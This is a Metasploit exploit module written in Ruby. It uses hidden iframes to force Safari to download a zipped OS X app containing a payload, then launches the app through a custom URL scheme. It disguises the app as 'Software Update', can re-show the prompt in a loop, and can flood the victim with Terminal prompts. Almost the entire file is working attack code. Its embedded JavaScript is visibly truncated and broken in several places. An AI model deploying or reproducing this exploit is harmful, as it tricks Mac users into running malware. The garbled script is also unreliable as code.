| 
	 
    
require 'msf/core' 
   
class Metasploit3 < Msf::Exploit::Remote  
  Rank = ManualRanking  
   
  include Msf::Exploit::EXE 
  include Msf::Exploit::Remote::BrowserExploitServer  
   
   
   
  def initialize(info = {})  
    super(update_info(info,  
      'Name'           => 'Safari User-Assisted Download & Run Attack',  
      'Description'    => %q{  
        This module abuses some Safari functionality to force the download of a  
        zipped .app OSX application containing our payload. The app is then 
        invoked using a custom URL scheme. At this point, the user is presented  
        with Gatekeeper's prompt:  
   
        "APP_NAME" is an application downloaded from the internet. Are you sure you  
        want to open it?  
   
        If the user clicks "Open", the app and its payload are executed.  
   
        If the user has the "Only allow applications downloaded from Mac App Store  
        and identified developers (on by default on OS 10.8+), the user will see  
        an error dialog containing "can't be opened because it is from an unidentified  
        developer." To work around this issue, you will need to manually build and sign  
        an OSX app containing your payload with a custom URL handler called "openurl".  
   
        You can put newlines & unicode in your APP_NAME, although you must be careful not 
        to create a prompt that is too tall, or the user will not be able to click  
        the buttons, and will have to either logout or kill the CoreServicesUIAgent  
        process.  
      },  
      'License'        => MSF_LICENSE,  
      'Targets'        =>  
        [  
          [ 'Mac OS X x86 (Native Payload)',  
            {  
              'Platform' => 'osx',  
              'Arch' => ARCH_X86,  
            }  
          ],  
          [ 'Mac OS X x64 (Native Payload)',  
            {  
              'Platform' => 'osx',  
              'Arch' => ARCH_X64,  
            }  
          ]  
        ],  
      'DefaultTarget'  => 0,  
      'Author'         => [ 'joev' ],  
      'BrowserRequirements' => {  
        :source  => 'script',  
        :ua_name => HttpClients::SAFARI,  
        :os_name => OperatingSystems::MAC_OSX,  
   
         
         
        :ua_ver  => lambda { |ver| ver.to_i != 5 }  
      }  
    ))  
   
    register_options([  
      OptString.new('APP_NAME', [false, "The name of the app to display", "Software Update"]),  
      OptInt.new('DELAY', [false, "Number of milliseconds to wait before trying to open", 2500]),  
      OptBool.new('LOOP', [false, "Continually display prompt until app is run", true]),  
      OptInt.new('LOOP_DELAY', [false, "Time to wait before trying to launch again", 3000]),  
      OptBool.new('CONFUSE', [false, "Pops up a million Terminal prompts to confuse the user", false]),  
      OptString.new('CONTENT', [false, "Content to display in browser", "Redirecting, please wait..."]),  
      OptPath.new('SIGNED_APP', [false, "A signed .app to drop, to workaround OS 10.8+ settings"])  
    ], self.class)  
  end 
   
  def on_request_exploit(cli, request, profile)  
    if request.uri =~ /\.zip/  
      print_status("Sending .zip containing app.")  
      seed = request.qstring['seed'].to_i  
      send_response(cli, app_zip(seed), { 'Content-Type' => 'application/zip' })  
    else 
       
      print_status("Sending #{self.name}")  
      send_response_html(cli, generate_html)  
    end 
    handler(cli)  
  end 
   
  def generate_html  
    %Q|  
    <html><body>  
     
    <iframe id='f' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'>  
    </iframe>  
    <iframe id='f2' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'>  
    </iframe>  
    <script>  
    (function() {  
      var r = parseInt(Math.random() * 9999999);  
      if ( 
      var f = document.getElementById('f');  
      var f2 = document.getElementById('f2');  
      f.src = "#{get_module_resource}/#{datastore['APP_NAME']}.zip?seed="+r;  
      window.setTimeout(function(){  
        var go = function() { f.src = "openurl"+r+"://a"; };  
        go();  
        if ( 
          window.setInterval(go,  
        };  
      },  
      if ( 
        var w = 0;  
        var ivl = window.setInterval(function(){  
          if (w++ > 200) clearInterval(ivl);  
        },  
      }  
    })();  
    </script>  
    </body></html>  
    |  
  end 
   
  def app_zip(seed)  
    if datastore['SIGNED_APP'].present?  
      print_status "Zipping custom app bundle..." 
      zip = Rex::Zip::Archive.new 
      zip.add_r(datastore['SIGNED_APP'])  
      zip.pack  
    else 
      plist_extra = %Q|  
        <key>CFBundleURLTypes</key>  
        <array>  
          <dict>  
            <key>CFBundleURLName</key>  
            <string>Local File</string>  
            <key>CFBundleURLSchemes</key>  
            <array>  
              <string>openurl 
            </array>  
          </dict>  
        </array>  
      |  
   
      my_payload = generate_payload_exe(:platform => [Msf::Module::Platform::OSX])  
      Msf::Util::EXE.to_osx_app(my_payload,  
        :app_name    => datastore['APP_NAME'],  
        :plist_extra => plist_extra  
      )  
    end 
  end 
end
  
	
  |